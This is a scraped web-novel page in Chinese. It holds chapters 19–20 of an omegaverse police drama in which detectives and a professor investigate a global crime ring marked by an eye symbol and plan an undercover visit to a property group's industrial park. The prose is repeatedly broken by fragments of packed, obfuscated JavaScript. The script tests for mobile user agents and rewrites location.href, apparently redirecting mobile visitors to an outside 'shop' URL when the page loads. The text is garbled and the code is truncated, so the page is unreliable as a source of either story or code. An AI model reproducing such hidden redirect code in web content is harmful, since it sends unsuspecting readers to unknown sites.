d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049264|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三米之远就能感受到可怖的热量在灼烧着脸上的皮肤和眼球,一个帮派成员看见徐长嬴要继续向前走,连忙大叫道:“别过去,要塌了!” “徐长嬴!徐长嬴别过去!进不去的!”李嘉丽焦急地破音的声音想着。 徐长嬴双手持枪,朝着门锁连开了三枪,咬咬牙,他猛地撞了上去。 风声呼啸而过,轰的一声巨响,烧断的横梁砸在徐长嬴的面前,这时屋子里的一切都突然明朗起来,徐长嬴站在火光之外,不绝于耳的凄厉惨叫回荡在火场里,最远的一个房间的门洞里,一个浑身着火的人影站起来,又跌倒。 简直就是彻底的地狱之境。 他还闻到了一股奇怪的味道,那是一种类似硫磺燃烧的微微臭味,突然一股巨力拽住他的肩膀向后拖去,那是说着西语的当地消防员。 徐长嬴的瞳孔微睁,他看见了,那个人影是一个女性,她爬了起来,又重重摔倒。 “里面还有人!很多人!女孩们在里面!”徐长嬴用西班牙语大声对着拖拽着自己的消防员喊道。 “我知道,我知道”,全副武装的当地消防员紧紧抓着他的胳膊道,“上帝也知道。” 他被拖出火场的下一秒,猛烈的气浪从房间内部向外轰然爆发,房屋周围全力救火的人都被掀翻在地上,受伤较轻的人都趴在地上,望着面前的烈火,喃喃道:“上帝啊。” 事后第二天,双手包扎着绷带的徐长嬴和李嘉丽走进了已经成为废墟的别墅之中,原先的精美装潢痕迹只剩下一片焦炭,空气中弥漫着烟味和诡异的蛋白质被炙烤的味道,穿着明黄色制服的特殊人员全副武装着将一具具扭曲变形、甚至变形的尸体装进袋中,再一具具抬出去。 “煤气泄露,从浴室先烧起来的,顺着管道将其他房子也一起烧了起来,在厨房的地板下还埋了助燃剂。”穿着一身肃穆黑西服的政府官员在一旁道。 李嘉丽对着面前的惨状闭了闭眼,转头问道:“是帮派之间的纷争吗?” 黑西服男人攥紧了文件夹,摇了摇头:“还不确定,但是昨晚死者中有一个美国议员,这个案件已经升级了,徐探员和李探员真是抱歉,下午美国那边就会有人接手这里。” 徐长嬴跨过警示条,走进最大的起居室,说是起居室,但里面摆的不是沙发书柜,而是六张铁质的高架床,如今已经被烧成了空壳,徐长嬴抬起头看向天花板,发现六张床中间还设有拉环可以吊住蕾丝珠帘,不知道多少个达官权贵们在灯火通明的宴会之后,在这些半透明帘帐中陷入犯罪的泥潭,徐长嬴望着铁架床头一只沾上碳化后人体组织的手铐,寒意几乎从胸腔向外蔓延开来。 “我一定会把来过这个房间的每一个人,”他转过头冷冷地看向身后的官员,缓缓开口,一字一顿,“都绳之以法。” 他身后被火焰灼烧的碳化墙壁上,一个巨型的符号正出现在未被火焰覆盖的高处,是由鲜红的油漆喷上去的,那是一只眼球,没有人知道它的含义,但它一直在这个罪恶的房间中静静注视着一切。 很快,这场火灾在世界上消失了,连同那只眼睛一起,再也没有被任何新闻提起。 19. 庆元之谜 众人都盯着李嘉丽电脑中的照片陷入深思。 齐枫坐在沙发上,摇了摇头:“这难道是什么犯罪组织的图腾吗?去年和五年前,哥伦比亚和公海,如果再加上这次的艺术馆事件,这个组织的规模超过我们之前遇到的所有组织。” 赵洋转过头问李嘉丽:“你们AGB之后有再遇到过这个图腾吗?” 李嘉丽摇了摇头:“据我所知,没有了,公海赌场这个案子是你们中国公安内部系统里的讯息,我们也没有收录过。” 夏青站在一边,开口道:“可以从本次案件的受害者所属国家入手,让他们本国公安系统进行筛查。” 班杰明抱着电脑坐在地上,比了一个OK的手势:“我这就去联系泰国和柬埔寨的分部办公室。” 徐长嬴拎了几瓶矿泉水分给众人,“所以,现在工作任务也比较明了,市局那边已经着手调查那个''阿风'',如果顺利就能顺藤摸瓜找到公海赌博的器官贩卖团伙,进而就能接触到这个眼珠子组织。” 李嘉丽:“眼珠子,你取名能力好差劲。” 徐长嬴摸了摸下巴,“那叫什么?眼球组织。” 李嘉丽闭了闭眼:“算了随便你。” 徐长嬴笑了两声,突然道:“对了,其他三个嫌疑人是不是都安排了便衣跟踪?” 赵洋点点头:“吴奇泽,那个道具师是二队在盯,张连,那个家里蹲和田望海那个艺术生都是三队在盯,大概是准备先盯一个星期。” 徐长嬴点点头,示意知道了,接着他看了看表,已经是早上六点了,他拍了拍手,“好了好了,各位夜猫子赶紧回去补觉吧,下午一点又要上班了。” 李嘉丽合上电脑,与班杰明一起就要回隔壁自己的屋子,而齐枫躺在沙发上,踢掉拖鞋,“我不回去了,我要在老大家里睡。” 赵洋抄起矿泉水瓶就砸她,“你一天天的不回你自己家,不是在我家,就是在徐长嬴家,你那房子退掉好了。” 齐枫气势汹汹地翻了一个身:“要不是去年你非要我们俩分家,我也不用自己住!老大都没说什么,你好啰嗦!吵死了,我眼睛睁不开了!” 徐长嬴正掰开一个桔子,顺手塞给站在他身边的夏青,走过去拍了拍齐枫的大脑袋:“我这里还有一个房间,你进去上床睡去。” 齐枫感动涕零,“老大还是你爱我,”说着就怕赵洋继续骂自己似的,冲进卧室里就把门关起来了。 徐长嬴抱着胳膊,笑着看向赵洋,“话说之前忘了问你和齐枫怎么突然分开住了?你要贷款买房?” 赵洋翻了个白眼,无语道,“这疯子去年谈了个小女友,我才说让她一个人出去住。” 徐长嬴捂住嘴:“哇哦,她开窍了呀?” 赵洋:“谈了一星期就被甩了,嘴都没亲上。” 徐长嬴毫不客气地大笑起来,赵洋也没忍住,客房里传来愤怒地捶床声。 徐长嬴后知后觉地回头去看夏青,夏青正站在原地,低头盯着自己手里的桔子看,好像没听见他们的闲聊。 赵洋站起身:“行了,我也回去眯一会,你个编外人员不用那么拼,天天这么熬你熬得住吗?” 徐长嬴龇牙:“别小瞧我,我也是科班出身。” 赵洋朝门口走去,临关门时候还眼神复杂地看了一眼夏青。 徐长嬴拍了拍沙发:“夏青,过来坐着,刚刚一直站着不累吗?” 夏青走过去,坐了下来,将桔子又递给徐长嬴。 徐长嬴望着他那张正经的脸笑了起来,“我是给你吃的,不是让你帮我拿着。” 夏青脸上神情微微一动,点了点头,真的吃了起来。 徐长嬴道:“你觉得这个案子有什么不对劲吗?” 夏青道:“我觉得这个犯罪网络的搭建方式有些奇怪。” 徐长嬴一愣:“为什么?” 夏青抬起脸,正色道:“当前国际性的犯罪组织的组建过程与普通小型组织并无不同,大多都是由一到二的人脉发展,以利益为驱动,搭建起自己的犯罪网络。但这次不是。” 徐长嬴突然意识到夏青指出了一直以来的重要一点:这个犯罪组织的跨度和规模超过了一般的组织结构上限,五年前的哥伦比亚少女焚烧案,里面甚至涉及到了美国的政治上层,去年的公海赌博案,涉及到的是国内的官员和富豪,今年的人体艺术品案件,涉及到的是国内的艺术机构,和东南亚不同国籍的受害者。 如果这是同一个组织,那他的犯罪网络是怎么搭建起来的?靠上流人脉?靠贩du网络? 这简直是一个全球性的犯罪集团,但它是如何搭建起来的?如此悄无声息,AGB这种国际刑事组织都没有察觉到它的存在,怎么可能,是怎么做到的? 徐长嬴突然想起来,他最初的猜测——一个地下的庞大的犯罪交易市场的存在。 他沉思了一会儿,有些犹疑地开口,“夏青,我其实……” 他抬起头就对上了夏青澄澈的双眼,他意识到夏青一直在盯着自己看,就和很多年以前一样,徐长嬴瞥见他眼底的浅浅青灰色心里一动,又摇了摇头,“没什么,我其实还没想清楚,现在说也没什么用,你累了,要不赶紧回去休息吧。” 夏青点头站起身,也不追问他原本想说什么,只是道:“你也累了,早点休息,我先回去了,下午见,徐长嬴。” “下午见,”徐长嬴将门关上,听着沉稳的脚步声越来越远,突然回过头,看见齐枫从客卧里冒出一个脑袋。 齐枫有些怨念地悄声道:“阿嬴你不喜欢夏青了吗?” 徐长嬴靠着门,抱着胳膊,挑着眉:“怎么了?我对他很不好吗?” 齐枫只是摇了摇头,“如果是夏青,就不好。” 徐长嬴坐在沙发上正在愣神,齐枫就将门又关上了。 “长嬴哥,有人找。” 老三将军大衣脱下,抖了抖雪,挂在了宿舍门后的挂钩上,一屁股坐在了塑料板凳上。 八人宿舍里乱哄哄的,正是刚吃午饭的时候,密闭的房间里掺杂着饭菜味和泡面味,四张上下铺上都坐着人,两张破旧课桌拼在一起就是所有人的吃饭地盘,此刻也挤着三个人。 老三黄克将打来的饭盒放在桌子上,老二冯正乔和老五阮涛就兴致高昂地掀开了盖着泡面的素描本,冯正乔一边将黄克的泡面端给他,一边好奇道:“这大冷天的,谁找长嬴哥?” 徐长嬴此刻躺在靠窗的下铺上,他的脸上盖着临摹用的画册,整个人还昏昏欲睡,听到室友的聊天声才逐渐清明过来,他坐了起来,头发乱糟糟的,“大概是方老师说的学务。” 老五阮涛一脸羡慕:“是不是之前的全国速写大赛成绩出来了,不是我说长嬴哥你还和我们蹲在这荒山野岭集什么训啊,我要是你这么牛我就赶火车回去过年了。” 徐长嬴摸了摸他的脑袋:“你小子尽吹我,八字没一撇呢,不集训考个屁的大学。” 老三黄克端着泡面,歪着头道:“应该不是学务老师,是一个男生,长得高高瘦瘦的,脸白白的。” 徐长嬴穿着军大衣,回过头,疑惑起来:“高高瘦瘦的?我怎么不记得我认识,复读班的吗?” 黄克摇摇头,道:“不是,看上去年纪要小一点,背着书包,长得挺好看的。” 冯正乔和阮涛立刻起哄了:“不会是Omega吧,长嬴哥的对象吗?” 黄克耸耸肩:“那倒不是,个儿比我还高。” 冯正乔几人又泄了气,埋头正要继续吃饭,宿舍的门被猛地拉开了,寒冷的过堂风忽地就涌进狭小的宿舍。 “好冷,开门开那么大干什么——长嬴哥?” 徐长嬴的心脏砰砰跳着,他在宿舍狭长的走廊里狂奔,期间堪堪撞上拎着热水瓶或饭盒的学生,每一个人都皱着眉头正欲开骂,又在看到徐长嬴的脸后立刻将怨气收了回去,转而亲热地叫起长嬴哥。 徐长嬴来不及一一回应他们,和一阵风一样快速下着楼梯,最后冲向宿舍楼的大门。 掀开遮挡大雪和寒风的厚布帘,漫天的白雪伴随着刺目的白光出现在徐长嬴的眼前,他站在门口,看见一个穿着黑色羽绒服的少年站在雪地里,来来往往的学生都从他身边快步小跑着赶着钻进建筑里,而他却静静低着头,只是望着脚下的雪,大概也是想避开迎面的寒风和雪粒。 “夏青?”徐长嬴睁大了眼睛,小心翼翼问道。 那人抬起头,露出一张干净如雪的清俊面孔,清亮的眼眸中折射出一丝雪光,“徐长嬴。” 徐长嬴冲上去紧紧抱住了他,因为抱得太用力他碰到了夏青冰冷的脸颊,他不可思议地问道:“你怎么来了?这么远,你怎么不和我说一声?你怎么摸过来的?” 寒冷的空气里,夏青呵着白气,白色的围巾将他不大的脸又裹小了一圈,他似乎一点也不觉得冷,盯着徐长嬴的脸轻声道:“学校带我来北京参加物理竞赛,结束了我就顺道过来看你,叶阿姨也知道,我们还给你带了东西。” 徐长嬴眼眶热热的,他搓了搓双手又摸了摸夏青的脸,只觉得和冰块一样,连忙拽着他就往宿舍楼进:“你笨啊大雪天站在外面等,快点进去!” “你又睡画室了。” “胡说,我没有,我每天都洗完热水澡上床睡的。” “你睡画室了。” 夏青站在宿舍楼里,静静看着他的眼睛,笃定地说道。 徐长嬴是被雨声叫醒的,广东夏季说来就来的暴雨气势很大,噼里啪啦砸在窗户玻璃上,伴随着空调源源不断吐出的冷气,让徐长嬴真的好像从心底生出一阵寒意。 他搓了搓脸,看到客厅钟的指针堪堪指向一点,就起来洗了把脸,齐枫这时也醒了,拉开门迷迷糊糊站在他身边一起洗漱着。 “又下雨了诶,要入伏了,”齐枫满嘴牙膏含糊道。 徐长嬴放下毛巾,笑了起来:“早呢。” 经过一上午的紧急摸排,刑侦二三队传来的第一手有关“阿风”的情报:此人今年应该在30岁左右,男性alpha,当年活跃在红灯区的各类高端娱乐场所,专门与年纪轻的富豪子弟交好,有人说他应该就是干拉皮条的行当的。有赵兰月当年所在的市十二中的学生回忆道,“阿风”在高二和高三两个年级比较有名,经常与当时作为高中生的李旭阳以及其他富二代出入不同的娱乐场所。 李旭阳并不是普通的富二代,而是赫赫有名的庆元地产集团董事长李畑越的亲孙子,这个集团也就是运送256和327号展品的货车最有可能消失的岔路所在的庆元工业园区所属母公司。 谈松看着电脑对着众人道:“二队的人正在各个夜总会和会所里摸排,还需要时间才能将‘阿风’的真实身份摸排出来。” 宋瑜立笃定道:“不会有这么巧合的事情,庆元对监控做手脚的嫌疑太大了。” 重案组所有人都是这么想的,不由得都陷入了沉默——案件悬念涉及到了庆元集团创始人的直系亲属,想要申请庆元配合调查就难上加难了。 徐长嬴看着资料上的李旭阳名字觉得有些眼熟,他侧过头对着赵洋耳语道:“我怎么不记得李家有这个人,李旭隐他弟弟吗?” 他声音极轻,坐在对面的谈松和余梅眼睛都锃亮地瞥着他俩,但可惜听不见他在说什么。 赵洋听了皱了下眉,也对他耳语道:“不是,李旭隐是二儿子家的,这人是三儿子家的,他俩不是一个爹妈。” 徐长嬴了然地点点头,他想起来了,当时他上学时,林家和李家都喜欢将子弟放进他们所在省重点高中,所以他们几人和李家的两个直系子弟还是同学。 庆元董事长李畑越和所有事业有成的男人一样,对于子嗣传承有着超乎寻常的执念,光明面上的老婆就有三个,生了五个alpha儿子,儿子又生孙子,俨然一个李氏君臣朝堂。 只是可惜十几个儿子孙子也没生出一个优性alpha,反倒是只生了三个Omega女儿的林家先出了一个二女儿生的外孙林殊华是优性alpha,后来又出了一个大女儿家的极优性alpha夏青。 所以追求子孙alpha等级就算是超级富豪之家也只能看命。 徐长嬴正想着事呢,就看见夏青的目光停留在自己的身上,徐长嬴不有点有点心虚,他自从早上被齐枫指责后,每次故意冷落夏青时都会莫名再多一分愧疚。 方溥心道:“我去和沈局申请一下搜查令。” 严建柏抬了抬手:“不急,现在的情报太少,仅凭知情者的口头证言,不可能申请到去庆元内部的许可,反而会打草惊蛇。” 方溥心皱起眉毛:“但是,正如货车不可能消失,它现在最有可能在工业区里,已经过去了大半个月,展品被转移和破坏的可能性随着时间越来越大,要等抓到这个‘阿风’再去进庆元,浪费太多时间了。” 齐枫坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049265|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏青边上,对着徐长嬴眨眨眼睛,徐长嬴歪着头看向她,齐枫道:“要不要我们偷偷溜进去,我看每天好多大卡车和工人进去,也不严格吧。” 谈松啊了一声,立刻反驳道:“你笨啊,你一个外来人员晃来晃去,肯定会被发现吧。” 齐枫:“我也戴个安全帽,穿着工作服呗。” 徐长嬴笑了起来:“你以为你是卧底记者吗?” 齐枫听到卧底记者的一瞬,笑容迅速收敛了起来,赵洋也是一怔,徐长嬴倒是神情自然,继续开始深思庆元集团与案件的关联。 突然,夏青开口打破了沉默,“进入庆元工业区不难。” 所有人都抬起头,心里想着这个商业大佬终于出声了。 此刻赵洋却开口道:“你个人名义带我们进去侦查,庆元集团不会为难你吗?” “天哪,这句话竟然是赵洋你说出来的吗?”余梅捂住了嘴巴,不敢置信道,“前几天夏教授提出庆元有问题的时候不是你说要让夏教授想办法的吗?” “我哪句话说错了,就你话多!”赵洋一脸不耐烦,但脸已经红了。 徐长嬴摸着下巴,大概猜出了赵洋在他来之前和夏青的冲突。 只是没想到在前天晚上徐长嬴劝解之后,赵洋也真的转变了想法,不再对夏青充满敌意。 也许,怀念当年的应该不仅仅是齐枫。 方溥心看向夏青,一脸忧虑道:“赵洋说的对,而且动用您这边的力量也不太符合正规行动流程,会不会给您造成麻烦?” 夏青一脸淡然:“就算有,也不会太多,不是难事。” 真是帅气,众人同时在心中暗道。 有时候夏青过于低调,他们还会短暂忘记他那可怕的身价,但是关键时刻,这个金大腿又彰显出了其不可忽视的强烈存在感。 行动定在明天,因为这是属于重案组内部才知道的行动,所以人员都由严建柏直接确定,市郊的这个工业园区是庆元公司新建的,用于大型机械的研发工厂,所以并不很大,由三个主要厂房构成,边上有五个副楼,作为行政、员工住宿等场所。因为从内网索取监控原件已经不现实了,所以目前最有效率的就是现场取证,毕竟一个大货车再怎么也不难藏。 严建柏指定了三个人,赵洋、齐枫和谈松,他们第二天跟随兴安集团的工作人员进入庆元工业园区内,夏青还是在办公室里当着众人面打的电话,放下电话的时候三个警员就被安排好了身份,跟着兴安集团下的分公司进工业园参观并参加一轮招标会。 方溥心就算是经验丰富的老刑警,也没见识过如此轻松顺利的行动安排,疑惑道:“这就安排好了?” 夏青只是点点头,平静道:“明天是我的两个秘书带队,九点出发,一直参观到下午三点,时间安排够吗?” 谈松和齐枫对视一眼,道:“应该够了,本来也是速战速决的任务。” 夏青做什么事都和在实验室里一样,精确地计算成功率,提前策划达成结果的流程,做好应对风险的预案,这次他将自己的骨干秘书都派出来,工作流程也是他们兴安集团与庆元集团交接,可以说是万无一失且省心省力,就算是赵洋,也不得不服气。 安排好的时候,刑侦二队和三队第一天的初步摸排情况也返回了,据悉,在市中心的两家高档娱乐场所还有人记得“阿风”,这人之前还在其中一家会所当过业务经理,但是登记的身份证都是假的,“阿风”这个名字也很有可能是假的。 所以“阿风”这条线索又这样断了,而就在差不多的时候,徐长嬴他们也收到了AGB新加坡分局同事的消息,赵秀贞的beta女儿王添笑在今年1月份就办理了休学,之前登记的住所也人去楼空,就这样人间蒸发了。 事态的严重性超出了所有人的预料,几乎可以断定赵秀贞一家是与案件有重大关联的嫌疑人,但是赵秀贞的嘴超乎寻常的严,她疯疯癫癫地说她什么都不知道,还在说她每个星期都会和王添笑打电话,咬死不知道王添笑在哪里,也不知道赵兰月为什么打钱给王添笑的账户。 赵秀贞的丈夫和儿媳则知道的更少了,尤其是儿媳,甚至不知道赵兰月的存在,而儿子赵齐源已经因为涉嫌□□未成年而被拘留了起来,他在审问中倒是吐出了很多赵兰月当时的人际关系信息,但是价值还是很少。 雨后的傍晚,办公室的窗户打开着,凉风幽幽吹进房间里,严建柏和余梅都点着烟,徐长嬴的眼睛盯着严建柏手指上的烟,心里馋的不行,但还是强迫自己移开了视线。 刚移开,就对上了夏青敏锐的目光,徐长嬴有些不好意思地摸了摸鼻子,年纪小的时候夏青也没少抓自己抽烟,这么多年过去,没想到还是会条件反射地害怕他。 “现在只能继续按照流程,多线并行,抓‘阿风’,审赵秀贞,查庆元,”方溥心合上了笔盖,突然被严建柏的烟呛了一下,立刻板起脸,“抽几根了还抽,年中体检我看你那个肺是不是要提前退休了。” 年轻警员们都在笑嘻嘻看着严建柏有些窘迫地将烟按灭,徐长嬴望着那根刚点的烟,有些心疼,但还是歪着头补充道:“方警官,还有一条线呢。” 方溥心愣了一下,“是吗?还有什么我漏了吗?” “跟踪观察其他三个嫌疑人,”夏青补充道。 谈松一脸疑惑:“徐警官你还认为那三个人里真的有凶手吗?” 众人都是这么想的,毕竟案件现在所有的线索都缠在赵秀贞身上,其余三人除了道具师吴奇泽,与赵秀贞不仅没有关系,还没有作案动机。刑侦支队也将重心放在了赵秀贞为中心的其他行动上,对于三个嫌疑人的跟踪只保留了走流程的意味。 徐长嬴摸了摸脸,又看了看夏青,诚实道:“我觉得至少有一个。” 宋瑜立:“还至少?” 夏青却也跟着开口了:“我也这么认为。” 赵洋和齐枫坐在两边,看了看徐长嬴,又看了看夏青,赵洋翻了个白眼,齐枫则捧起了下巴,和邵巧巧一起眼睛亮亮的不知道在期待什么。 宋瑜立和谈松心里都犯起了嘀咕,徐长嬴这个国际专员一直天马行空就算了,但夏青教授如此可靠和端正的人都说了有可能,难道那三人的嫌疑很大吗? 严建柏望着两人道:“请问徐警官和夏教授,你们现在有最怀疑的对象吗?” 徐长嬴和夏青对视了一眼,转向他,同时道: “吴奇泽。” 20. 分头行动(上) “我不管,我也想去看拍电影!我超爱谢忆南的,她是我女神,我好痛苦,我不想去工业园区了!”齐枫抱着徐长嬴痛哭流涕道。 彼时几人都站在市区一家五星级酒店的套房里,赵洋已经换好了一身商务的黑西装,正在打领带,他转过身对着齐枫道,“你能不能有点出息,而且你的品味真的很差,谢忆南有什么好看的,那面相一看就又假又刻薄。” 徐长嬴闭了闭双眼,一时不知道该吐槽两个好基友中的哪一个。 齐枫早已换好了商务西装,脚上还踩着一个低跟的黑色高跟鞋,让她的身高有接近两米的危险。徐长嬴被齐枫像抱巨型玩具熊一样搂在怀里,听着她在和赵洋对骂:“你这个死直男,你的白幼瘦审美怎么能和我比!” 徐长嬴艰难地挣脱了一些,他哄小孩一样道:“我之后给你搞个谢忆南签名行吗?to签?” 齐枫收回对赵洋龇的牙,低着头一脸震惊地看着徐长嬴道:“老大,你还知道to签?你好时髦哦。” 徐长嬴:“我在你眼里是什么断网的老人吗?我全球互联网冲浪达人好吗?” 齐枫看了看他,又看了看站在套房落地窗边上静静望着他们的夏青,意思不言而喻:你应该和夏青差不多。 齐枫还是有些难过,她嘟囔着:“我还是想亲眼见到谢忆南,然后让她亲手给我签名,而且老大你今天能进到剧组里面吗?” 徐长嬴想了想,比了一个手势:“我有一点点人脉,不一定今天现场去要。” 赵洋敏锐地扭过头,他现在头上打着发胶,一身笔挺合身的西装,俨然一副商业精英的模样:“你在国内有什么人脉?” 徐长嬴打着哈哈:“还不是同事什么的,行了快到时间了,严队他们还在隔壁等着呢。” 赵洋还是一脸狐疑,“有谢忆南的人脉也太古怪了。” 徐长嬴笑道:“你就这么不喜欢谢忆南,她不是国民女神吗?” 赵洋一脸理所当然:“当然,她看上去就是背地尖酸刻薄,对外岁月静好的白莲花人设,太明显了。” 徐长嬴:妈呀,赵洋这么多年里到底经历了什么。 他转过身,就看见窗户边站着的夏青和谈松二人,他俩都站得笔挺,只是夏青依旧神情淡淡的,而谈松脸上写满了被忽视的委屈。 徐长嬴走了过去,夏青身上穿着比起第一天的暗青色套装没那么正式的亚麻色西装,里面配着一件休闲衬衫,没有打领带,看上去又清爽又端庄,徐长嬴怎么看怎么喜欢,所以就不去看他,转而去和谈松简单聊了一下行动细节。 还没说几句话,齐枫就道:“阿嬴,我们准备好咯,出去吧。” 套房的会客厅里,严建柏等其他重案组的人员都已经架好了设备,赵洋三人一走出去,方溥心和余梅还调侃他们看上去真的像商务人士。 齐枫叉着腰,一脸得意道:“要是我高考再多考两百分也不是不可以当金融巨鳄。” 赵洋道:“疯儿你能别说出来吗?很光彩吗?” 邵巧巧给齐枫别着监听器,一脸羡慕道:“alpha真好啊,我考公大的时候录取线好高呢,都快到外省985的线了。” 徐长嬴抱着胳膊站在一边,一脸沉痛谴责道:“不同性别不同分数线简直就是把社会不公写在了纸上,齐枫你下次别嚷嚷,占便宜就要小点声。” 他这一句话骂了大半个房间的人,宋瑜立和谈松太阳穴的青筋跳了又跳,还是忍住没有开口。 李嘉丽站在一边好奇道:“徐你当时在国内上大学也是分性别划分数线吗?” 徐长嬴耸了耸肩:“我当时是艺考生,本来就是走捷径啦,你看我就从来不敢提高考。” 余梅笑了:“徐警官还一视同仁,连自己都一起损。” 赵洋幽怨道:“他当年文化分比齐枫确实高了两百分。” “啊?美术生吗?”谈松一脸不可置信地回头看向吊儿郎当的国际专员。 徐长嬴察觉到夏青也好奇的看向自己,他连忙对他笑着打着哈哈:“好汉不提当年勇了,反正最后也没念完,在人家真学霸面前我那仨瓜俩枣也不够看的。” 所有人这才意识到房间里还有夏青这个超级学神,邵巧巧崇拜道:“我算年纪就比夏教授晚三届,但我念研究生的时候还陪同学去听过夏教授的课呢。” 徐长嬴扭头看向夏青,对方也微微歪头看向他,似乎在问:怎么了。 徐长嬴:“你教什么?” 夏青:“基因工程原理与方法,下学期教分子生物学与基因操作技术。” 光听着课程名称徐长嬴就牙疼,他望着邵巧巧:“巧巧你去听这个吗?你不是公大的吗?” 邵巧巧一边把隐形耳机给谈松塞好一边脸红道:“夏教授的课所有人都去听呀,我去得晚都被挤在阶梯教室后面,就超级远远地看了夏教授一小眼,夏教授来咱们组那天我才看清真人长什么样。” 徐长嬴笑了起来,对着夏青揶揄道:“网红教授啊你?” 夏青摇摇头:“没有,我教书水平一般。” 徐长嬴道:“好谦虚哦夏教授,不过你这么大咖位都要去教书?” 夏青正色道:“职称要求每学期至少开一门课。” 徐长嬴心里想着大学挂职的教授可不少,不过夏青这人做事一向有原则,说是职责,他再忙也会挪出时间来。 闲聊刚结束,三人身上的装备都穿戴和调试好了,夏青的两个专属秘书早就站在一旁就位了,他们两人甚至给三个假扮的年轻帅气高管一人发一个公文包,并又讲解了一遍进工业园区参观的流程,以及可以自由活动的休息时长。 为首的秘书姓陈,看上去35岁左右,是个alpha,长相儒雅又清秀,但言行举止都十分干练得体,一开口就让人十分安心,他和另一个姓姚的年轻秘书也都穿戴过微型摄像头,他看了看时间,就对夏青微微点头:“夏总。” 夏青只是简单道:“多加注意。” 众人不由得心里暗暗吐槽起来——夏青手下的人和他本人的风格也太一致了吧。 司机已经在停车场等着了,夹着公文包的齐枫拉开套房的大门,回头冲方溥心等人摆摆手,“我们出发了,一定完成任务。” 方溥心无奈又操心道:“你把公文包放手里拎着,没穿裙子也不能和流氓一样。” “好的好的,”齐枫连忙将公文包从胳肢窝里拿了下来,朗声笑道:“我会注意的。” 三人走后,邵巧巧弯腰将两台笔记本电脑调试好,转向严建柏等人,只见五个摄像头的视野都齐齐出现在屏幕上,还能听见几人的说话声。 “赵洋、齐枫、谈松,都能听见吗?” “收到。”三人都一一回道,从屏幕上看他们已经坐上了商务车。 方溥心这时看了看手表,对着站在一边待命的邵巧巧道:“巧巧,去准备一下,换身衣服。” 邵巧巧歪着头,一脸疑惑:“准备什么呀?” 方溥心和严建柏对视一眼,笑着看着她:“你今天和徐警官他们一起出任务。” 邵巧巧猛地抬起头,转过脸看向徐长嬴和夏青。 靠在沙发边上站着的徐长嬴笑吟吟地看着她,他身边的夏青也望着她轻轻点点头。 “好过分啊,我也想去看谢忆南呜呜呜——”齐枫的悲愤声音从笔记本里传出来。 赵洋毫不留情道:“闭嘴,你的专业水准能不能别和审美一样。” 这时房间里剩下的夏青秘书团里的最后一位不知道从什么地方拎出了一套日常又大方的鹅黄色裙子,安静地站在房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049266|137533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间门口等待着。 邵巧巧快乐地跑了过去,“谢谢方哥和严队!” 徐长嬴看着跟随邵巧巧一同消失的第三位秘书,一脸疑惑地看向夏青:“你的秘书怎么什么都有,你让准备的吗?” 夏青也看着他,道:“他们知道大致计划后会自行准备。” 徐长嬴一脸羡慕道:“当你秘书月薪多少?” 夏青道:“公司人事安排,保密。” 徐长嬴一脸不可思议:“对我也保密吗?我又不会去抢工作。” “不是,”夏青嘴角扯出一丝弧度,看向他的眼睛,“对我保密,我也不知道。” 面对着微笑着的夏青,徐长嬴整个人都飘忽忽,一屁股坐在了沙发里,夏青看了看手表,也在他身侧静静坐着,离他们出发还有一个多小时。 李嘉丽和班杰明坐在对面,她望着徐长嬴只觉得有些好玩,开口道:“组长你对中国电影熟悉吗?” 徐长嬴回过神,他心想那可不是熟悉一点,但开口道:“还行,有空也会看,《风雷》也算大制作,也能听到一些消息。” 因为齐枫他们要坐二十分钟的车才到,所以电脑前的宋瑜立伸了一个懒腰,插嘴道:“那个电影天天在我家那边取景,每天粉丝都把我家小区门口都堵住了,我每次都得抱着我女儿进出。” 余梅笑道:“人家也是警匪片呢,各种飙车和爆炸戏,我们每天要是像电影拍的那样就刺激死了。” 方溥心看上去是经常看电影的,熟稔道:“顾阳封导演的,肯定都是大场面,这次支持拍摄的还有咱们公安厅和检察院的部门。” 张齐抬起头:“嚯,大制作呢,这得不少钱吧?” 余梅回道:“老张你都不刷短视频吗?唐家出资拍的,十来个亿呢。” 宋瑜立疑惑道:“唐家,香港的唐家?他们家不也是搞房地产的吗?” 余梅笑道:“瑜立你怎么和老张差不多,唐闳蕴上个世纪搞了一辈子的电影公司,后面才开始买地买船的,全中国人没几个不知道吧。这次我记得是唐家那个大公子当主制片人的,电影宣发还把他当做主要噱头呢。” 严建柏又开始摸烟,谁知被方溥心鹰一般的眼神盯住,只能端起纸杯喝了一口水,他道:“唐家也不是什么清白人家,十几年前的两地涉毒案,好几个唐家儿子孙子都在里面,但后来花点钱都跑国外去了。” 余梅想了想道:“哦,这个唐家公子可不是那些四五十岁的老东西,才二十多岁呢,是唐闳蕴的小孙子,你们没听过吗?经常上新闻的,唐家的优性alpha少爷,唐攸宁。” 房间另一侧沙发上,徐长嬴掏出薄荷糖向上一扔,两颗糖准确地掉进嘴里,他嘎嘣嘎嘣地嚼着,看向有些好奇的夏青笑道:“你会吗?” 